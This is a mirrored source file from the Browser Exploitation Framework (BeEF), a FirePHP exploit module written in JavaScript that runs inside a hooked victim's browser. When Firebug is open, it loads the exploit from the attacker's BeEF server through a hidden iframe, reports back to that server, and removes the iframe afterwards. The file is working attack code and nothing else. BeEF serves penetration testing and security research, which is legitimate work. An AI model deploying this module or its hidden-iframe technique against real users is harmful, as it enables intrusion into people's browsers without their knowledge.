Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/firephp/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// detect firebug
10
if (window.console && (window.console.firebug || window.console.exception)) {
11
var firephp_<%= @command_id %> = beef.dom.createInvisibleIframe();
12
firephp_<%= @command_id %>.src = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/firephp";
13
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
14
} else {
15
beef.net.send("<%= @command_url %>", <%= @command_id %>, "error=Module did not run. Firebug is not open in the hooked browser.");
16
return;
17
}
18
19
// clean up
20
cleanup = function() {
21
document.body.removeChild(firephp_<%= @command_id %>);
22
}
23
setTimeout("cleanup()", 10000);
24
25
});
26
27
28